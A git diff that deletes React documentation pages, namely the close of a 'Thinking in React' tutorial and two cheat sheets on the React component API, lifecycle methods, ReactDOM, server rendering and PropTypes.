-The original list of products is passed in as props, so that's not state. The search text and the checkbox seem to be state since they change over time and can't be computed from anything. And finally, the filtered list of products isn't state because it can be computed by combining the original list of products with the search text and value of the checkbox.
-
-So finally, our state is:
-
--   The search text the user has entered
--   The value of the checkbox
-
-## Step 4: Identify Where Your State Should Live
-
-See the Pen [Thinking In React: Step 4](https://codepen.io/gaearon/pen/qPrNQZ) on [CodePen](https://codepen.io).
-
-OK, so we've identified what the minimal set of app state is. Next, we need to identify which component mutates, or _owns_, this state.
-
-Remember: React is all about one-way data flow down the component hierarchy. It may not be immediately clear which component should own what state. **This is often the most challenging part for newcomers to understand,** so follow these steps to figure it out:
-
-For each piece of state in your application:
-
--   Identify every component that renders something based on that state.
--   Find a common owner component (a single component above all the components that need the state in the hierarchy).
--   Either the common owner or another component higher up in the hierarchy should own the state.
--   If you can't find a component where it makes sense to own the state, create a new component solely for holding the state and add it somewhere in the hierarchy above the common owner component.
-
-Let's run through this strategy for our application:
-
--   `ProductTable` needs to filter the product list based on state and `SearchBar` needs to display the search text and checked state.
--   The common owner component is `FilterableProductTable`.
--   It conceptually makes sense for the filter text and checked value to live in `FilterableProductTable`
-
-Cool, so we've decided that our state lives in `FilterableProductTable`. First, add an instance property `this.state = {filterText: '', inStockOnly: false}` to `FilterableProductTable`'s `constructor` to reflect the initial state of your application. Then, pass `filterText` and `inStockOnly` to `ProductTable` and `SearchBar` as a prop. Finally, use these props to filter the rows in `ProductTable` and set the values of the form fields in `SearchBar`.
-
-You can start seeing how your application will behave: set `filterText` to `"ball"` and refresh your app. You'll see that the data table is updated correctly.
-
-## Step 5: Add Inverse Data Flow
-
-See the Pen [Thinking In React: Step 5](https://codepen.io/gaearon/pen/LzWZvb) on [CodePen](https://codepen.io).
-
-So far, we've built an app that renders correctly as a function of props and state flowing down the hierarchy. Now it's time to support data flowing the other way: the form components deep in the hierarchy need to update the state in `FilterableProductTable`.
-
-React makes this data flow explicit to help you understand how your program works, but it does require a little more typing than traditional two-way data binding.
-
-If you try to type or check the box in the current version of the example, you'll see that React ignores your input. This is intentional, as we've set the `value` prop of the `input` to always be equal to the `state` passed in from `FilterableProductTable`.
-
-Let's think about what we want to happen. We want to make sure that whenever the user changes the form, we update the state to reflect the user input. Since components should only update their own state, `FilterableProductTable` will pass callbacks to `SearchBar` that will fire whenever the state should be updated. We can use the `onChange` event on the inputs to be notified of it. The callbacks passed by `FilterableProductTable` will call `setState()`, and the app will be updated.
-
-## And That's It
-
-Hopefully, this gives you an idea of how to think about building components and applications with React. While it may be a little more typing than you're used to, remember that code is read far more than it's written, and it's less difficult to read this modular, explicit code. As you start to build large libraries of components, you'll appreciate this explicitness and modularity, and with code reuse, your lines of code will start to shrink. :)
-
-[Advanced Content](https://www.notion.so/Advanced-Content-fbe1ec3ca3544951b5763b051b843949)
-
-[React Component](https://www.notion.so/React-Component-3dc17bc49a8e4d7e89efcc1281e747d9)
diff --git a/docs/content/cheat-sheets/react-examples.md b/docs/content/cheat-sheets/react-examples.md
deleted file mode 100644
index 6f19ac6607..0000000000
--- a/docs/content/cheat-sheets/react-examples.md
+++ /dev/null
@@ -1,407 +0,0 @@
-# react-examples
-
-````
-```js
-
-/* *******************************************************************************************
- *
-````
-
-```js
-
-React.JS CHEATSHEET
- * DOCUMENTATION: https://reactjs.org/docs/
- * FILE STRUCTURE: https://reactjs.org/docs/faq-structure.html
-//------------------------------------------------------------------------------\\
-
-*/
-```
-
-```js
-npm install --save react       // declarative and flexible JavaScript library for building UI
-npm install --save react-dom   // serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types  // runtime type checking for React props and similar objects
-```
-
-// notes: don't forget the command lines
-
-/\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
-
--   REACT
--   https://reactjs.org/docs/react-api.html //------------------------------------------------------------------------------\\
-
-\*/
-
-// Create and return a new React element of the given type. // Code written with JSX will be converted to use
-
-````
-```js
-
-React.createElement().
-// You will not typically invoke
-````
-
-```js
-
-React.createElement() directly if you are using JSX.
-```
-
-```js
-React.createElement(type, [props], [...children]);
-
-// Clone and return a new React element using element as the starting point.
-// The resulting element will have the original element's props with the new props merged in shallowly.
-```
-
-```js
-React.cloneElement(element, [props], [...children]);
-
-// Verifies the object is a React element. Returns true or false.
-```
-
-```js
-React.isValidElement(object);
-```
-
-```js
-React.Children; // provides utilities for dealing with the this.props.children opaque data structure.
-
-// Invokes a function on every immediate child contained within children with this set to thisArg.
-```
-
-```js
-
-React.Children.map(children, function[(thisArg)])
-
-// Like
-```
-
-```js
-
-React.Children.map() but does not return an array.
-```
-
-```js
-
-React.Children.forEach(children, function[(thisArg)])
-
-// Returns the total number of components in children,
-// equal to the number of times that a callback passed to map or forEach would be invoked.
-```
-
-```js
-React.Children.count(children);
-
-// Verifies that children has only one child (a React element) and returns it.
-// Otherwise this method throws an error.
-```
-
-```js
-React.Children.only(children);
-
-// Returns the children opaque data structure as a flat array with keys assigned to each child.
-// Useful if you want to manipulate collections of children in your render methods,
-// especially if you want to reorder or slice this.props.children before passing it down.
-```
-
-```js
-React.Children.toArray(children);
-
-// The
-```
-
-```js
-
-React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-// You can also use it with the shorthand <></> syntax.
-```
-
-```js
-React.Fragment;
-```
-
-```js
-React.COMPONENT;
-```
-
-//React.Component is an abstract base class, so it rarely makes sense to refer to React.Component directly. ////Instead, you will typically subclass it, and define at least a render() method. https://reactjs.org/docs/react-component.html
-
-```
-
-```
-
-```js
-React.Component {
-  // Will be called before it is mounted
-  constructor(props) {
-    // Call this method before any other statement
-    // or this.props will be undefined in the constructor
-    super(props);
-
-    // The constructor is also often used to bind event handlers to the class instance.
-    // Binding makes sure the method has access to component attributes like this.props and this.state
-    this.method = this.method.bind(this);
-
-    // The constructor is the right place to initialize state.
-    this.state = {
-      active: true,
-
-      // In rare cases, it's okay to initialize state based on props.
-      // This effectively "forks" the props and sets the state with the initial props.
-      // If you "fork" props by using them for state, you might also want to implement componentWillReceiveProps(nextProps)
-      // to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-      color: props.initialColor
-    };
-  }
-
-  // Enqueues changes to the component state and
-  // tells React that this component and its children need to be re-rendered with the updated state.
-  // setState() does not always immediately update the component. It may batch or defer the update until later.
-  // This makes reading this.state right after calling setState() a potential pitfall.
-  // Instead, use componentDidUpdate or a setState callback.
-  // You may optionally pass an object as the first argument to setState() instead of a function.
-  setState(updater[, callback]) { }
-
-  // Invoked just before mounting occurs (before render())
-  // This is the only lifecycle hook called on server rendering.
-  componentWillMount() { }
-
-  // Invoked immediately after a component is mounted.
-  // Initialization that requires DOM nodes should go here.
-  // If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-  // This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-  componentDidMount() { }
-
-  // Invoked before a mounted component receives new props.
-  // If you need to update the state in response to prop changes (for example, to reset it),
-  // you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-  componentWillReceiveProps(nextProps) { }
-
-  // Let React know if a component's output is not affected by the current change in state or props.
-  // The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-  // shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-  // This method is not called for the initial render or when forceUpdate() is used.
-  // Returning false does not prevent child components from re-rendering when their state changes.
-  shouldComponentUpdate(nextProps, nextState) { }
-
-  // Invoked just before rendering when new props or state are being received.
-  // Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-  // Note that you cannot call this.setState() here; nor should you do anything else
-  // (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-  // If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-  componentWillUpdate(nextProps, nextState) { }
-
-  // Invoked immediately after updating occurs. This method is not called for the initial render.
-  // Use this as an opportunity to operate on the DOM when the component has been updated.
-  // This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-  componentDidUpdate(prevProps, prevState) { }
-
-  // Invoked immediately before a component is unmounted and destroyed.
-  // Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests,
-  // or cleaning up any subscriptions that were created in componentDidMount().
-  componentWillUnmount() { }
-
-  // Error boundaries are React components that catch JavaScript errors anywhere in their child component tree,
-  // log those errors, and display a fallback UI instead of the component tree that crashed.
-  // Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-  componentDidCatch() { }
-
-  // This method is required.
-  // It should be pure, meaning that it does not modify component state,
-  // it returns the same result each time it's invoked, and
-  // it does not directly interact with the browser (use lifecycle methods for this)
-  // It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-  render() {
-    // Contains the props that were defined by the caller of this component.
-    console.log(this.props);
-
-    // Contains data specific to this component that may change over time.
-    // The state is user-defined, and it should be a plain JavaScript object.
-    // If you don't use it in render(), it shouldn't be in the state.
-    // For example, you can put timer IDs directly on the instance.
-    // Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-    // Treat this.state as if it were immutable.
-    console.log(this.state);
-
-    return (
-      <div>
-        {/* Comment goes here */}
-        Hello, {this.props.name}!
-      </div>
-    );
-  }
-}
-
-// Can be defined as a property on the component class itself, to set the default props for the class.
-// This is used for undefined props, but not for null props.
-Component.defaultProps = {
-  color: 'blue'
-};
-
-component = new Component();
-
-// By default, when your component's state or props change, your component will re-render.
-// If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-// Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-component.forceUpdate(callback)
-
-/* *******************************************************************************************
- *
-```
-
-```js
-
-React.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
- * Most of your components should not need to use this module.
- * https://reactjs.org/docs/react-dom.html
-//------------------------------------------------------------------------------\\
-
-*/
-
-// Render a React element into the DOM in the supplied container and return a reference
-// to the component (or returns null for stateless components).
-ReactDOM.render(element, container[, callback])
-
-// Same as render(), but is used to hydrate a container whose HTML contents were rendered
-// by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-ReactDOM.hydrate(element, container[, callback])
-
-// Remove a mounted React component from the DOM and clean up its event handlers and state.
-// If no component was mounted in the container, calling this function does nothing.
-// Returns true if a component was unmounted and false if there was no component to unmount.
-ReactDOM.unmountComponentAtNode(container)
-
-// If this component has been mounted into the DOM, this returns the corresponding native browser
-// DOM element. This method is useful for reading values out of the DOM, such as form field values
-// and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-// using findDOMNode at all.
-ReactDOM.findDOMNode(component)
-
-// Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-// the hierarchy of the DOM component.
-ReactDOM.createPortal(child, container)
-
-/* *******************************************************************************************
- * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
- * https://reactjs.org/docs/react-dom.html
-//------------------------------------------------------------------------------\\
-
-*/
-
-// Render a React element to its initial HTML. React will return an HTML string.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToString(element)
-
-// Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticMarkup(element)
-
-// Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-// The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToNodeStream(element)
-
-// Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticNodeStream(element)
-
-/* *******************************************************************************************
- * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
-//------------------------------------------------------------------------------\\
-
-*/
-
-import PropTypes from 'prop-types';
-
-MyComponent.propTypes = {
-  // You can declare that a prop is a specific JS type. By default, these
-  // are all optional.
-  optionalArray: PropTypes.array,
-  optionalBool: PropTypes.bool,
-  optionalFunc: PropTypes.func,
-  optionalNumber: PropTypes.number,
-  optionalObject: PropTypes.object,
-  optionalString: PropTypes.string,
-  optionalSymbol: PropTypes.symbol,
-
-  // Anything that can be rendered: numbers, strings, elements or an array
-  // (or fragment) containing these types.
-  optionalNode: PropTypes.node,
-
-  // A React element.
-  optionalElement: PropTypes.element,
-
-  // You can also declare that a prop is an instance of a class. This uses
-  // JS's instanceof operator.
-  optionalMessage: PropTypes.instanceOf(Message),
-
-  // You can ensure that your prop is limited to specific values by treating
-  // it as an enum.
-  optionalEnum: PropTypes.oneOf(['News', 'Photos']),
-
-  // An object that could be one of many types
-  optionalUnion: PropTypes.oneOfType([
-    PropTypes.string,
-    PropTypes.number,
-    PropTypes.instanceOf(Message)
-  ]),
-
-  // An array of a certain type
-  optionalArrayOf: PropTypes.arrayOf(PropTypes.number),
-
-  // An object with property values of a certain type
-  optionalObjectOf: PropTypes.objectOf(PropTypes.number),
-
-  // An object taking on a particular shape
-  optionalObjectWithShape: PropTypes.shape({
-    color: PropTypes.string,
-    fontSize: PropTypes.number
-  }),
-
-  // You can chain any of the above with `isRequired` to make sure a warning
-  // is shown if the prop isn't provided.
-  requiredFunc: PropTypes.func.isRequired,
-
-  // A value of any data type
-  requiredAny: PropTypes.any.isRequired,
-
-  // You can also specify a custom validator. It should return an Error
-  // object if the validation fails. Don't `console.warn` or throw, as this
-  // won't work inside `oneOfType`.
-  customProp: function(props, propName, componentName) {
-    if (!/matchme/.test(props[propName])) {
-      return new Error(
-        'Invalid prop `' + propName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  },
-
-  // You can also supply a custom validator to `arrayOf` and `objectOf`.
-  // It should return an Error object if the validation fails. The validator
-  // will be called for each key in the array or object. The first two
-  // arguments of the validator are the array or object itself, and the
-  // current item's key.
-  customArrayProp: PropTypes.arrayOf(function(propValue, key, componentName, location, propFullName) {
-    if (!/matchme/.test(propValue[key])) {
-      return new Error(
-        'Invalid prop `' + propFullName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  })
-};
-
-```
-
-```js
-
-```
diff --git a/docs/content/cheat-sheets/react-patterns-1.md b/docs/content/cheat-sheets/react-patterns-1.md
deleted file mode 100644
index 32051fd700..0000000000
--- a/docs/content/cheat-sheets/react-patterns-1.md
+++ /dev/null
@@ -1,601 +0,0 @@
-# React Patterns:
-
-## React Cheat Sheet
-
-React:
-
--   `<script src="https://unpkg.com/react@15/dist/react.js"></script>`
--   `$ npm install react --save`
--   `$ bower install react --save`
-
-React DOM:
-
--   `<script src="https://unpkg.com/react-dom@15/dist/react-dom.js"></script>`
--   `$ npm install react-dom`
--   `$ bower install react-dom --save`
-
-## Rendering
-
-### Rendering (ES5)
-
-```js
-ReactDOM.render(React.createElement(Link, { name: 'HackHall.com' }), document.getElementById('menu'));
-```
-
-### Rendering (ES5+JSX)
-
-```js
-ReactDOM.render(<Link name="HackHall.com" />, document.getElementById('menu'));
-```
-
-## Server-side Rendering
-
-```js
-var ReactDOMServer = require('react-dom/server');
-ReactDOMServer.renderToString(Link, { name: 'HackHall.com' });
-ReactDOMServer.renderToStaticMarkup(Link, { name: 'HackHall.com' });
-```
-
-## Components
-
-### ES5
-
-```js
-var Link = React.createClass({
-    displayName: 'Link',
-    render: function () {
-        return React.createElement('a', { className: 'btn', title: this.props.name }, 'Click ->', this.props.name);
-    }
-});
-```
-
-### ES5 + JSX
-
-```js
-var Link = React.createClass({
-    render: function () {
-        return (
-            <a className="btn" title={this.props.name}>
-                Click -> this.props.name
-            </a>
-        );
-    }
-});
-```
-
-### ES6 + JSX
-
-```js
-class Link extends React.Component {
-    render() {
-        return (
-            <a className="btn" title={this.props.name}>
-                Click -> this.props.name
-            </a>
-        );
-    }
-}
-```
-
----
-
----
-
-```
-
-npm install --save react       // declarative and flexible JavaScript library for building UI
-npm install --save react-dom   // serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types  // runtime type checking for React props and similar objects
-```
-
-// notes: don't forget the command lines
-
-```js
-/* *******************************************************************************************
- * REACT
- * https://reactjs.org/docs/react-api.html
- * ******************************************************************************************* */
-
-// Create and return a new React element of the given type.
-// Code written with JSX will be converted to use React.createElement().
-// You will not typically invoke React.createElement() directly if you are using JSX.
-React.createElement(
-  type,
-  [props],
-  [...children]
-)
-
-// Clone and return a new React element using element as the starting point.
-// The resulting element will have the original element's props with the new props merged in shallowly.
-React.cloneElement(
-  element,
-  [props],
-  [...children]
-)
-
-// Verifies the object is a React element. Returns true or false.
-React.isValidElement(object)
-
-React.Children  // provides utilities for dealing with the this.props.children opaque data structure.
-
-// Invokes a function on every immediate child contained within children with this set to thisArg.
-React.Children.map(children, function[(thisArg)])
-
-// Like React.Children.map() but does not return an array.
-React.Children.forEach(children, function[(thisArg)])
-
-// Returns the total number of components in children,
-// equal to the number of times that a callback passed to map or forEach would be invoked.
-React.Children.count(children)
-
-// Verifies that children has only one child (a React element) and returns it.
-// Otherwise this method throws an error.
-React.Children.only(children)
-
-// Returns the children opaque data structure as a flat array with keys assigned to each child.
-// Useful if you want to manipulate collections of children in your render methods,
-// especially if you want to reorder or slice this.props.children before passing it down.
-React.Children.toArray(children)
-
-// The React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-// You can also use it with the shorthand <></> syntax.
-React.Fragment
-
-/* *******************************************************************************************
- * REACT.COMPONENT
- * React.Component is an abstract base class, so it rarely makes sense to refer to React.Component
- * directly. Instead, you will typically subclass it, and define at least a render() method.
- * https://reactjs.org/docs/react-component.html
- * ******************************************************************************************* */
-
-class Component extends React.Component {
-  // Will be called before it is mounted
-  constructor(props) {
-    // Call this method before any other statement
-    // or this.props will be undefined in the constructor
-    super(props);
-
-    // The constructor is also often used to bind event handlers to the class instance.
-    // Binding makes sure the method has access to component attributes like this.props and this.state
-    this.method = this.method.bind(this);
-
-    // The constructor is the right place to initialize state.
-    this.state = {
-      active: true,
-
-      // In rare cases, it's okay to initialize state based on props.
-      // This effectively "forks" the props and sets the state with the initial props.
-      // If you "fork" props by using them for state, you might also want to implement componentWillReceiveProps(nextProps)
-      // to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-      color: props.initialColor
-    };
-  }
-
-  // Enqueues changes to the component state and
-  // tells React that this component and its children need to be re-rendered with the updated state.
-  // setState() does not always immediately update the component. It may batch or defer the update until later.
-  // This makes reading this.state right after calling setState() a potential pitfall.
-  // Instead, use componentDidUpdate or a setState callback.
-  // You may optionally pass an object as the first argument to setState() instead of a function.
-  setState(updater[, callback]) { }
-
-  // Invoked just before mounting occurs (before render())
-  // This is the only lifecycle hook called on server rendering.
-  componentWillMount() { }
-
-  // Invoked immediately after a component is mounted.
-  // Initialization that requires DOM nodes should go here.
-  // If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-  // This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-  componentDidMount() { }
-
-  // Invoked before a mounted component receives new props.
-  // If you need to update the state in response to prop changes (for example, to reset it),
-  // you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-  componentWillReceiveProps(nextProps) { }
-
-  // Let React know if a component's output is not affected by the current change in state or props.
-  // The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-  // shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-  // This method is not called for the initial render or when forceUpdate() is used.
-  // Returning false does not prevent child components from re-rendering when their state changes.
-  shouldComponentUpdate(nextProps, nextState) { }
-
-  // Invoked just before rendering when new props or state are being received.
-  // Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-  // Note that you cannot call this.setState() here; nor should you do anything else
-  // (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-  // If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-  componentWillUpdate(nextProps, nextState) { }
-
-  // Invoked immediately after updating occurs. This method is not called for the initial render.
-  // Use this as an opportunity to operate on the DOM when the component has been updated.
-  // This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-  componentDidUpdate(prevProps, prevState) { }
-
-  // Invoked immediately before a component is unmounted and destroyed.
-  // Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests,
-  // or cleaning up any subscriptions that were created in componentDidMount().
-  componentWillUnmount() { }
-
-  // Error boundaries are React components that catch JavaScript errors anywhere in their child component tree,
-  // log those errors, and display a fallback UI instead of the component tree that crashed.
-  // Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-  componentDidCatch() { }
-
-  // This method is required.
-  // It should be pure, meaning that it does not modify component state,
-  // it returns the same result each time it's invoked, and
-  // it does not directly interact with the browser (use lifecycle methods for this)
-  // It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-  render() {
-    // Contains the props that were defined by the caller of this component.
-    console.log(this.props);
-
-    // Contains data specific to this component that may change over time.
-    // The state is user-defined, and it should be a plain JavaScript object.
-    // If you don't use it in render(), it shouldn't be in the state.
-    // For example, you can put timer IDs directly on the instance.
-    // Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-    // Treat this.state as if it were immutable.
-    console.log(this.state);
-
-    return (
-      <div>
-        {/* Comment goes here */}
-        Hello, {this.props.name}!
-      </div>
-    );
-  }
-}
-
-// Can be defined as a property on the component class itself, to set the default props for the class.
-// This is used for undefined props, but not for null props.
-Component.defaultProps = {
-  color: 'blue'
-};
-
-component = new Component();
-
-// By default, when your component's state or props change, your component will re-render.
-// If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-// Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-component.forceUpdate(callback)
-
-/* *******************************************************************************************
- * REACT.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
- * Most of your components should not need to use this module.
- * https://reactjs.org/docs/react-dom.html
- * ******************************************************************************************* */
-
-// Render a React element into the DOM in the supplied container and return a reference
-// to the component (or returns null for stateless components).
-ReactDOM.render(element, container[, callback])
-
-// Same as render(), but is used to hydrate a container whose HTML contents were rendered
-// by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-ReactDOM.hydrate(element, container[, callback])
-
-// Remove a mounted React component from the DOM and clean up its event handlers and state.
-// If no component was mounted in the container, calling this function does nothing.
-// Returns true if a component was unmounted and false if there was no component to unmount.
-ReactDOM.unmountComponentAtNode(container)
-
-// If this component has been mounted into the DOM, this returns the corresponding native browser
-// DOM element. This method is useful for reading values out of the DOM, such as form field values
-// and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-// using findDOMNode at all.
-ReactDOM.findDOMNode(component)
-
-// Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-// the hierarchy of the DOM component.
-ReactDOM.createPortal(child, container)
-
-/* *******************************************************************************************
- * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
- * https://reactjs.org/docs/react-dom.html
- * ******************************************************************************************* */
-
-// Render a React element to its initial HTML. React will return an HTML string.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToString(element)
-
-// Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticMarkup(element)
-
-// Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-// The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToNodeStream(element)
-
-// Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticNodeStream(element)
-
-/* *******************************************************************************************
- * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
- * ******************************************************************************************* */
-
-import PropTypes from 'prop-types';
-
-MyComponent.propTypes = {
-  // You can declare that a prop is a specific JS type. By default, these
-  // are all optional.
-  optionalArray: PropTypes.array,
-  optionalBool: PropTypes.bool,
-  optionalFunc: PropTypes.func,
-  optionalNumber: PropTypes.number,
-  optionalObject: PropTypes.object,
-  optionalString: PropTypes.string,
-  optionalSymbol: PropTypes.symbol,
-
-  // Anything that can be rendered: numbers, strings, elements or an array
-  // (or fragment) containing these types.
-  optionalNode: PropTypes.node,
-
-  // A React element.
-  optionalElement: PropTypes.element,
-
-  // You can also declare that a prop is an instance of a class. This uses
-  // JS's instanceof operator.
-  optionalMessage: PropTypes.instanceOf(Message),
-
-  // You can ensure that your prop is limited to specific values by treating
-  // it as an enum.
-  optionalEnum: PropTypes.oneOf(['News', 'Photos']),
-
-  // An object that could be one of many types
-  optionalUnion: PropTypes.oneOfType([
-    PropTypes.string,
-    PropTypes.number,
-    PropTypes.instanceOf(Message)
-  ]),
-
-  // An array of a certain type
-  optionalArrayOf: PropTypes.arrayOf(PropTypes.number),
-
-  // An object with property values of a certain type
-  optionalObjectOf: PropTypes.objectOf(PropTypes.number),
-
-  // An object taking on a particular shape
-  optionalObjectWithShape: PropTypes.shape({
-    color: PropTypes.string,
-    fontSize: PropTypes.number
-  }),
-
-  // You can chain any of the above with `isRequired` to make sure a warning
-  // is shown if the prop isn't provided.
-  requiredFunc: PropTypes.func.isRequired,
-
-  // A value of any data type
-  requiredAny: PropTypes.any.isRequired,
-
-  // You can also specify a custom validator. It should return an Error
-  // object if the validation fails. Don't `console.warn` or throw, as this
-  // won't work inside `oneOfType`.
-  customProp: function(props, propName, componentName) {
-    if (!/matchme/.test(props[propName])) {
-      return new Error(
-        'Invalid prop `' + propName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  },
-
-  // You can also supply a custom validator to `arrayOf` and `objectOf`.
-  // It should return an Error object if the validation fails. The validator
-  // will be called for each key in the array or object. The first two
-  // arguments of the validator are the array or object itself, and the
-  // current item's key.
-  customArrayProp: PropTypes.arrayOf(function(propValue, key, componentName, location, propFullName) {
-    if (!/matchme/.test(propValue[key])) {
-      return new Error(
-        'Invalid prop `' + propFullName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  })
-};
-```
-
----
-
----
-
-## Advanced Components
-
-### Options (ES5)
-
--   `propTypes object`: Type validation in development mode
--   `getDefaultProps function()`: object of default props
--   `getInitialState function()`: object of the initial state
-
-ES5:
-
-```js
-var Link = React.createClass({
-    propTypes: { name: React.PropTypes.string },
-    getDefaultProps: function () {
-        return { initialCount: 0 };
-    },
-    getInitialState: function () {
-        return { count: this.props.initialCount };
-    },
-    tick: function () {
-        this.setState({ count: this.state.count + 1 });
-    },
-    render: function () {
-        return React.createElement(
-            'a',
-            { className: 'btn', href: '#', title: this.props.name, onClick: this.tick.bind(this) },
-            'Click ->',
-            this.props.name ? this.props.name : 'webapplog.com',
-            ' (Clicked: ' + this.state.count + ')'
-        );
-    }
-});
-```
-
-ES5 + JSX:
-
-```js
-var Link = React.createClass({
-    propTypes: { name: React.PropTypes.string },
-    getDefaultProps: function () {
-        return { initialCount: 0 };
-    },
-    getInitialState: function () {
-        return { count: this.props.initialCount };
-    },
-    tick: function () {
-        this.setState({ count: this.state.count + 1 });
-    },
-    render: function () {
-        return (
-            <a onClick={this.tick.bind(this)} href="#" className="btn" title={this.props.name}>
-                Click -> {this.props.name ? this.props.name : 'webapplog.com'}
-                (Clicked: {this.state.count})
-            </a>
-        );
-    }
-});
-```
-
-ES6 + JSX:
-
-```js
-export class Link extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { count: props.initialCount };
-    }
-    tick() {
-        this.setState({ count: this.state.count + 1 });
-    }
-    render() {
-        return (
-            <a onClick={this.tick.bind(this)} href="#" className="btn" title={this.props.name}>
-                Click -> {this.props.name ? this.props.name : 'webapplog.com'}
-                (Clicked: {this.state.count})
-            </a>
-        );
-    }
-}
-Link.propTypes = { initialCount: React.PropTypes.number };
-Link.defaultProps = { initialCount: 0 };
-```
-
-## Lifecycle Events
-
-Modern React lifecycle methods (v16+)
-
-Legacy Lifecycle Events:
-
--   `componentWillMount function()`
--   `componentDidMount function()`
--   `componentWillReceiveProps function(nextProps)`
--   `shouldComponentUpdate function(nextProps, nextState)-> bool`
--   `componentWillUpdate function(nextProps, nextState)`
--   `componentDidUpdate function(prevProps, prevState)`
--   `componentWillUnmount function()`
-
-Sequence of lifecycle events:
-
-Inspired by [http://react.tips](http://react.tips)
-
-## Special Props
-
--   `key`: Unique identifier for an element to turn arrays/lists into hashes for better performance, e.g., `key={id}`
--   `ref`: Reference to an element via `this.refs.NAME`, e.g., `ref="email"` will create `this.refs.email` DOM node or `ReactDOM.findDOMNode(this.refs.email)`
--   `style`: Accept an object of styles, instead of a string (immutable since v0.14), e.g., `style={{color: red}}`
